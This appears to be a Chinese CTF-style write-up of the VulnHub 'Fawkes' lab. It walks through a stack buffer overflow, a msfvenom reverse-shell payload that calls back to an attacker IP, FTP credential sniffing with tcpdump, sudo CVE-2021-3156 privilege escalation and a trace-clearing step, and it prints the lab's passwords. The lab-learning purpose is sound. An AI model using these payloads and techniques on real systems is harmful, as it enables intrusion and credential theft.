vulnhub靶场【哈利波特】三部曲之Fawkes

前言

这次的靶机与前面不同,这里涉及到缓冲区溢出等
这个靶机也让我知道薄弱点了,缓冲溢出这方面之前接触少,所以刚拿到这个靶机打开后,人蒙了,在网上查阅好多资料,也只是浅学一下,这里主要也是跟着其他师傅的步骤进行操作,在实践中去理解。
参考链接:https://www.cnblogs.com/Fab1an/p/18364950

靶机虚拟机环境为virtualbox,网卡为桥接模式

靶机:fawkes

攻击:kali

主机发现

使用arp-scan -l扫描,在同一网卡下

在这里插入图片描述

信息收集

端口发现

使用nmap简单扫描一下端口

在这里插入图片描述

可以看到两个SSH服务端口,只是使用的版本不同,还有一个9898端口,不知道是什么服务

网站目录扫描

一般网站可能都是目录型,这里直接进行扫描

在这里插入图片描述

很是罕见的什么都没有扫到,访问网站进行查看

在这里插入图片描述

啧,电影海报啊,这里下载图片,看有无隐藏信息

在这里插入图片描述

测试9898端口

虽是接口有返回信息等,但是毫无用处

在这里插入图片描述

测试21端口

测试使用anonymous匿名用户尝试登录,空密码登录成功,发现有文件,下载到kali

在这里插入图片描述

查看文件类型,是可执行文件

在这里插入图片描述

信息点小结

  1. 80端口只有一张图片,并且无其他内容
  2. SSH服务有两个端口,但是没有任何的用户名和密码
  3. FTP匿名登录成功,获取到可执行文件

测试可执行文件

根据上面的信息小结,可以知道,现在可用的也许只有SSH爆破和这个下载的可执行文件

给予执行权限

在这里插入图片描述

可以知道靶机上的9898端口的作用,应该就是启动了这个服务,为详细准确,再使用nc测试一遍

在这里插入图片描述

对该执行文件进行调试

关闭kali的alsr功能

alsr是内存地址随机化的安全技术,如若不关闭,会导致内存地址一直变化,无法确定关键点(缓存溢出的位置)

cd /proc/sys/kernel
echo randomize_va_space

在这里插入图片描述

使用工具进行调试

可以使用edb-debugger安装即可,或使用gdb

输入命令edb打开图形化界面进行调试

首先把可执行文件加入到调试器中,然后选择attch

在这里插入图片描述

当然这里的attch是通过进程进行的测试,所以需要输入关键字server来过滤,只要那个服务的开启。直接导入文件的话,是不需要的

在这里插入图片描述

初步调试,确定是否可行,在用户输入的话,也必须开始调试才能进行下一步。那么交互的话,用户可输入,就使劲输入,看程序是否崩溃或者怎么样。

平常在数据库中,不就是有的是有长度限制吗。

在这里插入图片描述

尝试输入很多数值字符来判断,这里最终测试400个A时,出现错误,地址0x41414141不存在

在这里插入图片描述

缓冲区溢出

可以看到,这里被覆盖了

在这里插入图片描述

EIP寄存器,是执行下一跳指令的内存地址,就是可以指定跳转到那里

ESP寄存器,是存储数据的,具体指令

那么使用msf生成400无规律排列的字符,方便寻找到在那里溢出

msf-pattern_create -l 400

在这里插入图片描述

记住这个地址,然后使用msf去寻找刚刚生成的那个序列排在哪里

msf-pattern_offset -l 400 -q 0x64413764

在这里插入图片描述

可以确定偏移量为112,可以生成112个A,4个B,和多个C

因为之前报错也是可以看到的,为四个字符16进制组成

可以看到,这里的报错是B的十六进制

在这里插入图片描述

从下面也可以清晰的看出EIP的指定内存地址,以及ESP的指令

在这里插入图片描述

下面就需要构造使得EIP指向ESP的内存地址,而ESP的指令该怎么能够获得反弹shell

首先要知道ESP的内存地址,这样就可以自己加上这个内存地址,防止溢出

在这里插入图片描述

选择可执行的内存地址,因为这是跳转到指令,而且如果不能执行,修改了也无作用

在这里插入图片描述

点击find,记下jmp esp的内存地址,0x08049d55

在这里插入图片描述

jmp esp是一条汇编指令。jmp是 “jump” 的缩写,意思是跳转。esp是栈指针寄存器(Extended Stack Pointer)。这条指令的作用是使程序的执行流程跳转到esp寄存器所指向的内存地址。

制造反弹shell

已知偏移量为112ESP内存地址为0x08049d55,那么只需要编造16进制的payload进行反弹shell,这里的靶机为小端序,内存地址需要颠倒\x55\x9d\x04\x08

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.16 LPORT=8888 -b "\x00" -f python

在这里插入图片描述

把上面生成的写入到python文件中,但是这里只是生成ESP所要执行的指令,还需要和前面的溢出配合,不然无法正确的使EIP跳转正确

在这里插入图片描述

payload中加了之前并没有的'\x90'*32是为了防止恶意代码离的太近

在这里插入图片描述

然后这时候,运行可执行文件,然后另起终端开启监听8888端口,与上面的反弹shell端口一致

然后执行python脚本

在本机上运行的服务进行而此时,成功

在这里插入图片描述

那么修改payload为靶机地址和端口,然后测试

在这里插入图片描述

反弹成功,获取一个shell

在这里插入图片描述

提权

测试,靶机没有python,无法使用python创建交互式的终端,测试使用/bash/bash -i也不行,

最终是/bash/sh -i成功,在当前目录下,发现可能是密码的文本HarrYp0tter@Hogwarts123

在这里插入图片描述

尝试使用ssh测试,默认端口的SSH服务连接不上,测试2222端口的

在这里插入图片描述

使用find查找具有SUID权限的,有sudo并且可以执行任意

在这里插入图片描述

查看后,发现root没有密码,直接sudo su -切换到root,然后呢,查看root目录下的文件

在这里插入图片描述

这里说,“我们发现有人试图经过FTP的错误去登录,你应该去分析流量然后指出用户”

这里测试靶机有无监听流量的工具,如wireshark、tcpdump

查看网卡信息

在这里插入图片描述

使用tcpdump监听

获取到用户名neville,密码bL!Bsg3k

tcpdump -i eth0 port 21

在这里插入图片描述

使用这个用户名和密码登录,注意,这里登录的是22端口的SSH服务

在这里插入图片描述

寻找SUID,发现找到sudo,但是不能使用

在这里插入图片描述

收集信息

在这里插入图片描述

使用searchsploit搜索,发现提权中的方法与可以使用的,不匹配

漏洞提权

在百度搜索,确实有,项目地址https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

漏洞介绍https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

在这里插入图片描述

测试,靶机有nc命令,也有wget命令

py文件传输到靶机,使用wget也行

在这里插入图片描述

最终提权成功

在这里插入图片描述

清除痕迹

在这里插入图片描述

总结

整个靶机的重点在于缓冲区溢出

  1. 要知道什么是缓冲区溢出,然后就是会找到溢出位置
  2. 理解两个寄存器EIPESP
  3. 要会编写一个简单的python来直接进行发送信息
  4. sudo -l不可用,以及其他不能提权时,想到内核漏洞以及命令版本漏洞

使用工具

edb-debugger进行文件调测,找到缓冲溢出的位置

msf-pattern_create -l 400生成400个无规律排列字符

msf-apttern_offset -l 400 -q 0x64413764找到刚刚生成字符的位置,这里是十六进制进行查找

which定位命令路径

lsb_release -a查看系统

sudo --version查看命令版本

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/481888.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

神经网络中常见的激活函数Sigmoid、Tanh和ReLU

激活函数在神经网络中起着至关重要的作用,它们决定了神经元的输出是否应该被激活以及如何非线性地转换输入信号。不同的激活函数适用于不同的场景,选择合适的激活函数可以显著影响模型的性能和训练效率。以下是三种常见的激活函数:Sigmoid、T…

基于Java Springboot蛋糕订购小程序

一、作品包含 源码数据库设计文档万字PPT全套环境和工具资源部署教程 二、项目技术 前端技术:Html、Css、Js、Vue、Element-ui 数据库:MySQL 后端技术:Java、Spring Boot、MyBatis 三、运行环境 开发工具:IDEA/eclipse 微信…

<项目代码>YOLOv8 红绿灯识别<目标检测>

YOLOv8是一种单阶段(one-stage)检测算法,它将目标检测问题转化为一个回归问题,能够在一次前向传播过程中同时完成目标的分类和定位任务。相较于两阶段检测算法(如Faster R-CNN),YOLOv8具有更高的…

ProtonBase 教育行业解决方案

01/方案概述 当前,大数据、云计算等技术正加速教育行业的数字化转型,教学模式从线下转向线上,传统教育企业向具有互联网性质的新型教育企业转变。在此背景下,教育企业亟需探索多源数据的融合扩展,以应对复杂的业务场景…

Mybatis:CRUD数据操作之删除一行数据

Mybatis基础环境准备请看:Mybatis基础环境准备 本篇讲解Mybati数据CRUD数据操作之单条删除数据 当用户点击了该按钮,就会将改行数据删除掉。那我们就需要思考,这种删除是根据什么进行删除呢?是通过主键id删除,因为id是…

力扣1382:将二叉搜索树便平衡

给你一棵二叉搜索树,请你返回一棵 平衡后 的二叉搜索树,新生成的树应该与原来的树有着相同的节点值。如果有多种构造方法,请你返回任意一种。 如果一棵二叉搜索树中,每个节点的两棵子树高度差不超过 1 ,我们就称这棵二…

架构01-演进中的架构

零、文章目录 架构01-演进中的架构 1、原始分布式时代:Unix设计哲学下的服务探索 (1)背景 时间:20世纪70年代末到80年代初计算机硬件:16位寻址能力、不足5MHz时钟频率的处理器、128KB左右的内存转型:从…

MySQL —— MySQL 程序

目录 前言 一、MySQL 程序简介 二、mysqld -- MySQL 服务器 三、mysql -- MySQL 客户端 1. mysql 客户端简介 2. mysql 客户端选项 (1)指定选项的方式 (2)mysql 客户端命令常用选项 (3)在命令行中使…

GoogleTest做单元测试

目录 环境准备GoogleTest 环境准备 git clone https://github.com/google/googletest.git说cmkae版本过低了,解决方法 进到googletest中 cmake CMakeLists.txt make sudo make installls /usr/local/lib存在以下文件说明安装成功 中间出了个问题就是,…

Flink四大基石之CheckPoint

1、State Vs Checkpoint State:状态,是Flink中某一个Operator在某一个时刻的状态,如maxBy/sum,注意State存的是历史数据/状态,存在内存中。 Checkpoint:快照点, 是Flink中所有有状态的Operator在某一个时刻的State快照信息/存档信息。 一句话概括: Checkpoint就是State的快照…

基于TensorFlow的手写体数字识别训练与测试

需求: 选择一个最简单的细分方向,初步了解AI图像识别的训练、测试过程TensorFlow、PyTorch、c,三种代码方案,先从TensorFlow入手探讨最基本问题的优化问题 总结: 基于TensorFlow的python代码库自带了mnist 训练数据…

YOLO系列论文综述(从YOLOv1到YOLOv11)【第11篇:YOLO变体——YOLO+Transformers、DAMO、PP、NAS】

YOLO变体 1 DAMO-YOLO2 PP-YOLO, PP-YOLOv2, and PP-YOLOE2.1 PP-YOLO数据增强和预处理2.2 PP-YOLOv22.3 PP-YOLOE 3 YOLO-NAS4 YOLO Transformers5 YOLOv1-v8及变体网络结构总结 YOLO系列博文: 【第1篇:概述物体检测算法发展史、YOLO应用领域、评价指标…

SE16N 外键校验报错问题

问题: SE16N维护时,偶尔有一些莫名奇妙的校验报错,条目XX在表XX中不存在,但是实际数据时存在的。 分析: DEBUG过程中,定位到数据校验部分,发现当外键定义的关联字段中存在某些不在对应维护表中…

【数据结构】二叉搜索树(二叉排序树)

🌟🌟作者主页:ephemerals__ 🌟🌟所属专栏:数据结构 目录 前言 一、什么是二叉搜索树 二、二叉搜索树的实现 节点 属性和接口的声明 插入 查找 删除 拷贝构造 析构 中序遍历 三、二叉搜索树的…

【接口自动化测试】一文从3000字从0到1详解接口测试用例设计

接口自动化测试是软件测试中的一种重要手段,它能有效提高测试效率和测试覆盖率。在进行接口自动化测试之前,首先需要进行接口测试用例的设计。本文将从0到1详细且规范的介绍接口测试用例设计的过程,帮助读者快速掌握这一技能。 一、了解接口…

使用 PDF API 合并 PDF 文件

内容来源: 如何在 Mac 上合并 PDF 文件 1. 注册与认证 您可以注册一个免费的 ComPDFKit API 帐户,该帐户允许您在 30 天内免费无限制地处理 1,000 多个文档。 ComPDFKit API 使用 JSON Web Tokens 方法进行安全身份验证。从控制面板获取您的公钥和密钥&…

微服务即时通讯系统的实现(服务端)----(2)

目录 1. 语音识别子服务的实现1.1 功能设计1.2 模块划分1.3 模块功能示意图1.4 接口的实现 2. 文件存储子服务的实现2.1 功能设计2.2 模块划分2.3 模块功能示意图2.4 接口的实现 3. 用户管理子服务的实现3.1 功能设计3.2 模块划分3.3 功能模块示意图3.4 数据管理3.4.1 关系数据…

Scala—列表(可变ListBuffer、不可变List)用法详解

Scala集合概述-链接 大家可以点击上方链接,先对Scala的集合有一个整体的概念🤣🤣🤣 在 Scala 中,列表(List)分为不可变列表(List)和可变列表(ListBuffer&…

Android 系统之Init进程分析

1、Init进程流程 2、Init细节逻辑 2.1 Init触发shutdown init进程触发系统重启是一个很合理的逻辑,为什么合理? init进程是android世界的一切基石,如果android世界的某些服务或者进程出现异常,那么会导致整个系统无法正常使用…

NVR录像机汇聚管理EasyNVR多个NVR同时管理基于B/S架构的技术特点与能力应用

EasyNVR视频融合平台基于云边端协同设计,能够轻松接入并管理海量的视频数据。该平台兼容性强、拓展灵活,提供了视频监控直播、录像存储、云存储服务、回放检索以及平台级联等一系列功能。B/S架构使得EasyNVR实现了视频监控的多元化兼容与高效管理。 其采…